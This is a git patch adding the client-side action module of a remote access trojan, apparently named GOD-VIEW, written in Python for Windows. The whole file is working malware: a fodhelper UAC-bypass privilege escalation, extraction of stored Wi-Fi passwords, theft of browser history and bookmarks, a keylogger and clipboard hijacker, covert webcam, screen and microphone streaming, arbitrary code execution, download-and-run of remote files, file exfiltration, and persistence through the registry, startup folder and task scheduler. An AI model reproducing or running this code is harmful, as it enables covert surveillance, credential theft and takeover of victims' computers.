From 58ebd3bc0f00c532e97e9a5571471ffab87934ba Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 10:39:49 +0200 Subject: GOD-VIEW --- client/action.py | 772 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 772 insertions(+) create mode 100644 client/action.py (limited to 'client/action.py') diff --git a/client/action.py b/client/action.py new file mode 100644 index 0000000..e67e327 --- /dev/null +++ b/client/action.py @@ -0,0 +1,772 @@ +''' + Functions called upon request specific actions, both + defined server & client side & correctly registered. + Constitutes the majority of the client's work. + + Verified: 2020 December 30 & 2021 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * VideoCapture (Windows) + * browser-history + * pyperclip + * GPUtil + * psutil + * pynput + * mss +''' + +from client.modules.keylogger import Keylogger +from client.modules.desktop import Desktop +from client.modules.clipper import Clipper +from client.modules.audio import Audio +from client.state import ClientStatic +from client.error import ClientError +from shared.helper import Helper +from shared.state import Static +from client.shell import Shell +from shared.error import Error +from shared.data import Data + +import urllib.request +import contextlib +import webbrowser +import mss.tools +import pyperclip +import zipfile +import random +import GPUtil +import psutil +import pynput +import time +import mss +import io +import os + +import browser_history +# NOTE : Disable the default logging of the library +browser_history.utils.logger.removeHandler( + browser_history.utils.handler) + +if Static.WINDOWS: + from client.modules.webcam import Webcam, Capture + + import ctypes + import vidcap + import re + + @Error.quiet_thread + def alert_action(title, text, symbol): + ctypes.windll.user32.MessageBoxW(0, text, title, symbol) + + if Static.EXE: + from client.autostart import (AutoShell, + AutoRegistry, + AutoSchedule) + + import winreg + + class Escalate: + + __REG_PATH = r'Software\Classes\ms-settings\shell\open\command' + __FOD_HELPER = r'C:\Windows\System32\fodhelper.exe' + __DELEGATE_EXEC_REG_KEY = 'DelegateExecute' + + @staticmethod + def __create_reg_key(key, value): + winreg.CreateKey(winreg.HKEY_CURRENT_USER, Escalate.__REG_PATH) + reg_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, + Escalate.__REG_PATH, + 0, winreg.KEY_WRITE) + winreg.SetValueEx(reg_key, key, 0, winreg.REG_SZ, value) + winreg.CloseKey(reg_key) + + @staticmethod + def __delete_reg_key(): + winreg.DeleteKey(winreg.HKEY_CURRENT_USER, Escalate.__REG_PATH) + + @staticmethod + def start(): + Escalate.__create_reg_key( + Escalate.__DELEGATE_EXEC_REG_KEY, None) + Escalate.__create_reg_key(None, Static.ROOT) + os.system(Escalate.__FOD_HELPER) + Escalate.__delete_reg_key() + + +class Recover: + + if Static.WINDOWS: + @staticmethod + def wifi(): + headers, values = ('SSID', 'Authentication', 'Cipher', + 'Security Key', 'Password'), [] + + networks = Shell.run('netsh wlan show profile', True) + network_names = re.findall(r'(?:Profile\s*:\s)(.*)', networks) + + for network_name in network_names: + try: + data = Shell.run( + 'netsh wlan show profile {} key=clear'.format( + network_name), True) + + values.append(( + re.findall(r'(?:SSID name\s*:\s)(.*)', data)[0][1:-1], + re.findall(r'(?:Authentication\s*:\s)(.*)', data)[0], + re.findall(r'(?:Cipher\s*:\s)(.*)', data)[0], + re.findall(r'(?:Security key\s*:\s)(.*)', data)[0], + re.findall(r'(?:Key Content\s*:\s)(.*)', data)[0])) + except Exception: + pass + + return (values, headers) + + @staticmethod + def history(): + result = 'Row,Timestamp,URL\n' + + for row, (timestamp, url) in enumerate( + browser_history.get_history().histories, 1): + result += '{},{},{}\n'.format( + row, Helper.timestamp(timestamp), url) + + return result + + @staticmethod + def bookmark(): + result = 'Row,Timestamp,URL,Title,Folder\n' + + for row, (timestamp, url, title, folder) in enumerate( + browser_history.get_bookmarks().bookmarks, 1): + result += '{},{},{},{},{}\n'.format( + row, Helper.timestamp(timestamp), url, title, folder) + + return result + + +class Sysinfo: + + __FACTOR = 1024 + + @staticmethod + def get_size(bolter, suffix='B'): + for unit in ['', 'K', 'M', 'G', 'T', 'P']: + if bolter < Sysinfo.__FACTOR: + return f'{bolter:.2f}{unit}{suffix}' + + bolter /= Sysinfo.__FACTOR + + @staticmethod + def gpu(): + headers, values = ('ID', 'Name', 'Load', 'Free Memory', + 'Used Memory', 'Total Memory', + 'Temperature', 'UUID'), [] + + for gpu in GPUtil.getGPUs(): + values.append((gpu.id, gpu.name, f'{gpu.load * 100:.2f}%', + Sysinfo.get_size(gpu.memoryFree), + Sysinfo.get_size(gpu.memoryUsed), + Sysinfo.get_size(gpu.memoryTotal), + f'{gpu.temperature:.2f}C', gpu.uuid)) + + return (values, headers) + + @staticmethod + def cpu(): + cpu_frequency = psutil.cpu_freq() + + headers, values = ('CPU Tag', 'Value'), [ + ('Physical Cores', psutil.cpu_count(logical=False)), + ('Total Cores', psutil.cpu_count(logical=True)), + ('Max Frequency', f'{cpu_frequency.max:.2f}Mhz'), + ('Min Frequency', f'{cpu_frequency.min:.2f}Mhz'), + ('Current Frequency', f'{cpu_frequency.current:.2f}Mhz'), + ('Total CPU Usage', f'{psutil.cpu_percent():.2f}%')] + + for core, percentage in enumerate(psutil.cpu_percent( + percpu=True, interval=1), 1): + values.append((f'Core {core} Usage', f'{percentage:.2f}%')) + + return (values, headers) + + @staticmethod + def memory(): + virtual = psutil.virtual_memory() + swap = psutil.swap_memory() + + headers, values = ('Memory Tag', 'Value'), ( + ('Total Mem', Sysinfo.get_size(virtual.total)), + ('Available Mem', Sysinfo.get_size(virtual.available)), + ('Used Mem', Sysinfo.get_size(virtual.used)), + ('Percentage', f'{virtual.percent:.2f}%'), + ('Total Swap', Sysinfo.get_size(swap.total)), + ('Free Swap', Sysinfo.get_size(swap.free)), + ('Used Swap', Sysinfo.get_size(swap.used)), + ('Percentage Swap', f'{swap.percent:.2f}%')) + + return (values, headers) + + @staticmethod + def disk(): + headers, values = ('Device', 'Mountpoint', 'File System', + 'Total Size', 'Used', 'Free', 'Percentage'), [] + + for partition in psutil.disk_partitions(): + value = [partition.device, + partition.mountpoint, + partition.fstype] + + try: + partition_usage = psutil.disk_usage(partition.mountpoint) + except PermissionError: + for _ in range(4): + value.append('') + else: + value.append(Sysinfo.get_size(partition_usage.total)) + value.append(Sysinfo.get_size(partition_usage.used)) + value.append(Sysinfo.get_size(partition_usage.free)) + value.append(f'{partition_usage.percent:.2f}%') + + values.append(value) + + return (values, headers) + + @staticmethod + def network(): + headers, values = ('Interface', 'IP Address', 'MAC Address', + 'Netmask', 'Broadcast IP', 'Broadcast MAC'), [] + + for interface_name, interface_addresses \ + in psutil.net_if_addrs().items(): + + for address in interface_addresses: + value = [interface_name] + + if str(address.family) == 'AddressFamily.AF_INET': + value.append(address.address) + value.append('') + value.append(address.netmask) + value.append(address.broadcast) + value.append('') + elif str(address.family) == 'AddressFamily.AF_PACKET': + value.append('') + value.append(address.address) + value.append(address.netmask) + value.append('') + value.append(address.broadcast) + else: + for _ in range(5): + value.append('') + + values.append(value) + + return (values, headers) + + @staticmethod + def io(): + disk_io = psutil.disk_io_counters() + net_io = psutil.net_io_counters() + + headers, values = ('IO Type Total Since Boot', 'Value'), ( + ('File System Read', Sysinfo.get_size(disk_io.read_bytes)), + ('File System Write', Sysinfo.get_size(disk_io.write_bytes)), + ('Network Bytes Sent', Sysinfo.get_size(net_io.bytes_sent)), + ('Network Bytes Received', Sysinfo.get_size(net_io.bytes_recv))) + + return (values, headers) + + +class Process: + + @staticmethod + def tasklist(): + headers, values = ('PID', 'Name', 'Status', + 'CPU Usage', 'Memory Usage'), [] + + for process in psutil.process_iter(): + value = [process.ppid(), + process.name(), + process.status(), + f'{process.cpu_percent():.2f}%'] + + try: + value.append(Sysinfo.get_size( + process.memory_full_info().uss)) + except psutil.AccessDenied: + value.append('Access Denied') + + values.append(value) + + values.sort() + return (values, headers) + + @staticmethod + def network(): + headers, values = ('Local Address', 'Foreign Address', + 'Family', 'Protocol', 'Status', 'PID'), [] + + for process in psutil.net_connections(): + try: + laddr, raddr, family, addr_type = ('', '', + str(process.family), + str(process.type)) + if process.laddr: + laddr = '{}:{}'.format(*process.laddr) + + if process.raddr: + raddr = '{}:{}'.format(*process.laddr) + + if family.endswith('AF_INET'): + family = 'IPV4' + elif family.endswith('AF_INET6'): + family = 'IPV6' + else: + family = 'UNIX' + + if addr_type.endswith('SOCK_STREAM'): + addr_type = 'TCP' + elif addr_type.endswith('SOCK_DGRAM'): + addr_type = 'UDP' + else: + addr_type = 'SCTP' + + values.append((laddr, raddr, family, addr_type, + process.status, process.pid)) + except Exception: + pass + + values.sort() + return (values, headers) + + @staticmethod + def kill(pid): + psutil.Process(pid).kill() + + +class Inject: + + def __init__(self): + self.__keyboard = pynput.keyboard.Controller() + self.__mouse = pynput.mouse.Controller() + + def run(self, script): + for row, command in enumerate(script, 1): + command = command.split() + key, value = (command[0].lower(), + ' '.join(command[1:])) + + if key == 'repeat': + for _ in range(int(value)): + self.run(script[row:]) + else: + break + else: + self.__execute(key, value) + + def __execute(self, key, value): + if key == 'press': + result = self.__key(value) + self.__keyboard.press(result) + self.__keyboard.release(result) + elif key == 'hold': + self.__keyboard.press(self.__key(value)) + elif key == 'release': + self.__keyboard.release(self.__key(value)) + elif key == 'type': + self.__keyboard.type(value) + elif key == 'position': + self.__mouse.position = tuple(self.__x_y(value)) + elif key == 'move': + self.__mouse.move(*self.__x_y(value)) + elif key == 'scroll': + self.__mouse.scroll(*self.__x_y(value)) + elif key == 'mhold': + self.__mouse.press(self.__button(value)) + elif key == 'mrelease': + self.__mouse.release(self.__button(value)) + elif key == 'click': + result = self.__button(value) + self.__mouse.press(result) + self.__mouse.release(result) + elif key == 'dclick': + self.__mouse.click(self.__button(value), 2) + elif key == 'sleep': + time.sleep(float(value)) + else: + raise SyntaxError('Injection Syntax Error') + + def __x_y(self, value): + values = value.split() + + if values[0].lower() == 'random': + numbers = [int(pos) for pos in + ' '.join(values[1:]).split(',')] + return (random.randint(*numbers[:2]), + random.randint(*numbers[2:4])) + else: + return (int(pos) for pos in value.split(',')) + + def __button(self, value): + return eval(f'pynput.mouse.Button.{value}') + + def __key(self, value): + return eval(f'pynput.keyboard.Key.{value}') + + +@ClientError.general +def clipboard(request): + request, store = Helper.store(request, ('copy', 'empty')) + + if store.copy: + pyperclip.copy(store.copy) + return Data.parse('Copied to clipboard', + status=Static.SUCCESS) + elif store.empty: + pyperclip.copy('') + return Data.parse('Clipboard emptied', + status=Static.SUCCESS) + else: + return Data.parse(pyperclip.paste(), raw=True) + + +@ClientError.general +def screenshot(request): + request, store = Helper.store(request, ('monitor',)) + assert type(store.monitor) is int, 'Client Argument Error' + + with mss.mss() as sct: + size = sct.monitors[store.monitor] + raw_bytes = sct.grab(size) + raw_bytes = mss.tools.to_png(raw_bytes.rgb, + raw_bytes.size) + + return Data.parse('Screenshot taken (monitor {}, {}x{})'.format( + store.monitor, size['width'], size['height']), + status=Static.SUCCESS, + custom=Data.b64encode(raw_bytes)) + + +@ClientError.general +def snapshot(request): + if Static.WINDOWS: + request, store = Helper.store(request, ('device',)) + assert (type(store.device) is int + and store.device > 0), 'Client Argument Error' + + device = vidcap.new_Dev(store.device - 1, False) + buffer, width, height = device.getbuffer() + raw_bytes = mss.tools.to_png(buffer, (width, height)) + + return Data.parse('Snapshot taken (device {}, {}x{}, {})'.format( + store.device, width, height, device.getdisplayname()), + status=Static.SUCCESS, + custom=Data.b64encode(raw_bytes)) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def python(request): + request, store = Helper.store(request, ('exec',)) + assert store.exec, 'Client Argument Error' + + buffer = io.StringIO() + + with contextlib.redirect_stdout(buffer): + exec(store.exec) + + return Data.parse(buffer.getvalue(), raw=True) + + +@ClientError.general +def inject(request): + request, store = Helper.store(request, ('exec', 'unblock')) + assert store.exec and type(store.exec) is list, 'Client Argument Error' + + if store.unblock: + Helper.thread(Error.quiet_thread(Inject().run), store.exec) + return Data.parse('Injection started', status=Static.INFO) + else: + Inject().run(store.exec) + return Data.parse('Injection complete', + status=Static.SUCCESS) + + +@ClientError.general +def browse(request): + request, store = Helper.store(request, ('url',)) + assert store.url and type(store.url) is list, 'Client Argument Error' + + for url in store.url: + webbrowser.open(url, 1) + + return Data.parse('URL{} opened'.format( + Helper.plural(store.url)), status=Static.SUCCESS) + + +@ClientError.general +def alert(request): + request, store = Helper.store(request, ('title', 'text', 'symbol')) + assert all((store.title, store.text, + store.symbol in (16, 32, 48, 64))), 'Client Argument Error' + + if Static.WINDOWS: + Helper.thread(alert_action, store.title, + store.text, store.symbol) + return Data.parse('Messagebox shown', + status=Static.SUCCESS) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def system(request): + request, store = Helper.store(request, ('shutdown', 'restart', + 'logout', 'hibernate', + 'standby')) + assert any((store.shutdown, store.restart, + store.logout, store.hibernate, + store.standby)), 'Client Argument Error' + + if Static.WINDOWS: + if store.shutdown: + os.system('shutdown /p /f') + return Data.parse('Shutdown complete', + status=Static.SUCCESS) + elif store.restart: + os.system('shutdown /r /f /t 0') + return Data.parse('Restart complete', + status=Static.SUCCESS) + elif store.logout: + os.system('shutdown /l /f') + return Data.parse('Logout complete', + status=Static.SUCCESS) + elif store.hibernate: + os.system('shutdown /h') + return Data.parse('Hibernate complete', + status=Static.SUCCESS) + else: + os.system('rundll32.exe powrprof.dll,SetSuspendState 0,1,0') + return Data.parse('Standby complete', + status=Static.SUCCESS) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def download(request): + request, store = Helper.store(request, ('file', 'dir')) + assert store.file or store.dir, 'Client Argument Error' + + if store.file: + assert os.path.isfile(store.file), 'File Not Found' + return Data.parse(f'Download complete ({store.file})', + status=Static.SUCCESS, + custom=Data.b64encode(Helper.read_file( + store.file, Helper.READ_BYTES))) + else: + assert os.path.isdir(store.dir), 'Directory Not Found' + + buffer = io.BytesIO() + relroot = os.path.abspath( + os.path.join(store.dir, os.pardir)) + + with zipfile.ZipFile(buffer, Helper.WRITE, + zipfile.ZIP_DEFLATED) as archive: + for root, _, files in os.walk(store.dir): + archive.write(root, os.path.relpath(root, relroot)) + + for file in files: + filename = os.path.join(root, file) + + if os.path.isfile(filename): + arcname = os.path.join( + os.path.relpath(root, relroot), file) + archive.write(filename, arcname) + + return Data.parse(f'Download complete ({store.dir})', + status=Static.SUCCESS, + custom=Data.b64encode(buffer.getvalue())) + + +@ClientError.general +def upload(request): + request, store = Helper.store(request, ('file', 'url', + 'execute', 'custom')) + assert store.url or (store.file and store.custom), 'Client Argument Error' + + if store.file: + Helper.write_file(store.file, Data.b64decode( + store.custom), Helper.WRITE_BYTES) + + if store.execute: + Helper.start(store.file) + + return Data.parse(f'Upload complete ({store.file})', + status=Static.SUCCESS) + else: + filename = os.path.split(store.url)[1] + Helper.write_file(filename, urllib.request.urlopen( + store.url).read(), Helper.WRITE_BYTES) + + if store.execute: + Helper.start(filename) + + return Data.parse(f'URL upload complete ({store.url})', + status=Static.SUCCESS) + + +@ClientError.general +def escalate(request): + assert Static.EXE, 'Requires Executable Build' + + if Static.WINDOWS: + Escalate.start() + return Data.parse('Escalation started', + status=Static.INFO) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def autostart(request): + assert Static.EXE, 'Requires Executable Build' + + request, store = Helper.store(request, ('shell', 'registry', 'schedule')) + assert any((store.shell, store.registry, + store.schedule)), 'Client Argument Error' + + if Static.WINDOWS: + if store.shell: + AutoShell.install() + return Data.parse('Added to startup directory', + status=Static.SUCCESS) + elif store.registry: + AutoRegistry.install() + return Data.parse('Added to registry startup', + status=Static.SUCCESS) + else: + AutoSchedule.install() + return Data.parse('Added to task scheduler', + status=Static.SUCCESS) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def recover(request): + request, store = Helper.store(request, ('wifi', 'history', 'bookmark')) + assert any((store.wifi, store.history, + store.bookmark)), 'Client Argument Error' + + if store.wifi: + if Static.WINDOWS: + return Data.message(Recover.wifi()) + else: + raise OSError('Feature Not Available') + elif store.history: + return Data.parse('History downloaded', + status=Static.SUCCESS, + custom=Recover.history()) + else: + return Data.parse('Bookmarks downloaded', + status=Static.SUCCESS, + custom=Recover.bookmark()) + + +@ClientError.general +def process(request): + request, store = Helper.store(request, ('kill', 'tasklist', 'network')) + assert any((store.kill, store.tasklist, + store.network)), 'Client Argument Error' + + if store.tasklist: + return Data.message(Process.tasklist()) + elif store.network: + return Data.message(Process.network()) + else: + Process.kill(int(store.kill)) + return Data.parse(f'Process killed ({store.kill})', + status=Static.SUCCESS) + + +@ClientError.general +def sysinfo(request): + request, store = Helper.store(request, ('gpu', 'cpu', 'memory', + 'disk', 'network', 'io')) + assert any((store.gpu, store.cpu, store.memory, store.disk, + store.network, store.io)), 'Client Argument Error' + + if store.gpu: + return Data.message(Sysinfo.gpu()) + elif store.cpu: + return Data.message(Sysinfo.cpu()) + elif store.memory: + return Data.message(Sysinfo.memory()) + elif store.disk: + return Data.message(Sysinfo.disk()) + elif store.network: + return Data.message(Sysinfo.network()) + else: + return Data.message(Sysinfo.io()) + + +@ClientError.general +def desktop(request): + request, store = Helper.store(request, ('monitor', 'token')) + assert type(store.monitor) is int and store.token, \ + 'Client Argument Error' + + Desktop(store.token).live(store.monitor) + return Data.parse(f'Desktop stream started (monitor {store.monitor})', + status=Static.INFO) + + +@ClientError.general +def webcam(request): + if Static.WINDOWS: + request, store = Helper.store(request, ('device', 'token')) + assert (type(store.device) is int and store.device > 0 + and store.token), 'Client Argument Error' + + device = vidcap.new_Dev(store.device - 1, False) + ClientStatic.WEBCAM[store.token] = Capture(device) + Webcam(store.token).live() + + return Data.parse('Webcam stream started (device {}, {})'.format( + store.device, device.getdisplayname()), status=Static.INFO) + else: + raise OSError('Feature Not Available') + + +@ClientError.general +def audio(request): + request, store = Helper.store(request, ('channels', 'rate', 'token')) + assert (type(store.channels) is int and type(store.rate) is int + and store.token), 'Client Argument Error' + + Audio(store.token).live(store.channels, store.rate) + return Data.parse('Audio stream started', + status=Static.INFO) + + +@ClientError.general +def keylogger(request): + request, store = Helper.store(request, ('token',)) + assert store.token, 'Client Argument Error' + + Keylogger(store.token).live() + return Data.parse('Keylogger started', + status=Static.INFO) + + +@ClientError.general +def clipper(request): + request, store = Helper.store(request, ('token',)) + assert store.token, 'Client Argument Error' + + Clipper(store.token).live() + return Data.parse('Clipper started', + status=Static.INFO) -- cgit v1.2.3